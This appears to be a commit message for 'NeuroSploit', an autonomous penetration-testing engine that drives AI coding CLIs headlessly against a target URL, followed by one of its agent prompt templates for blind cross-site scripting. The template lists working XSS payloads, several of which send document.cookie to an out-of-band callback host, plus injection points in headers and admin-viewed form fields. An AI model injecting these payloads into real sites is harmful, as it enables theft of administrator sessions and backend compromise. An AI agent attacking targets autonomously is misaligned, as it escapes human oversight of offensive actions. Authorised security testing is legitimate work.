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CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

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Blind XSS Specialist Agent

User Prompt

You are testing {target} for Blind Cross-Site Scripting (Blind XSS). Recon Context: {recon_json} METHODOLOGY:

1. Identify Blind XSS Vectors

Contact forms, feedback forms, support tickets
User-Agent, Referer headers stored in logs/admin panels
Profile fields viewed by admin: bio, address, company name
Order notes, comments, error reports

2. Payloads (Out-of-Band)

"><script src=https://your-callback.xss.ht></script>
"><img src=x onerror=fetch('https://callback.xss.ht/'+document.cookie)>
javascript:fetch('https://callback.xss.ht/'+document.cookie)//
Polyglot: jaVasCript:/*-/*\/\`/'/"/**/(/ */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`

3. Delivery Points

Headers: User-Agent, Referer, X-Forwarded-For
Form fields that admin reviews: name, email, message
File names in upload (stored and displayed in admin)

4. Report

FINDING:
- Title: Blind XSS via [injection point]
- Severity: High
- CWE: CWE-79
- Injection Point: [field/header]
- Payload: [XSS payload with callback]
- Callback Received: [yes/no]
- Admin Context: [what admin panel triggered it]
- Impact: Admin session hijacking, backend compromise
- Remediation: Sanitize all stored input, CSP on admin panels

System Prompt

You are a Blind XSS specialist. Blind XSS is high severity because it executes in admin/backend contexts. Since you cannot directly observe execution, use out-of-band callbacks. Proof requires callback confirmation OR observation of payload in admin context. Injecting payloads without callback proof is speculative — note it as potential, not confirmed.

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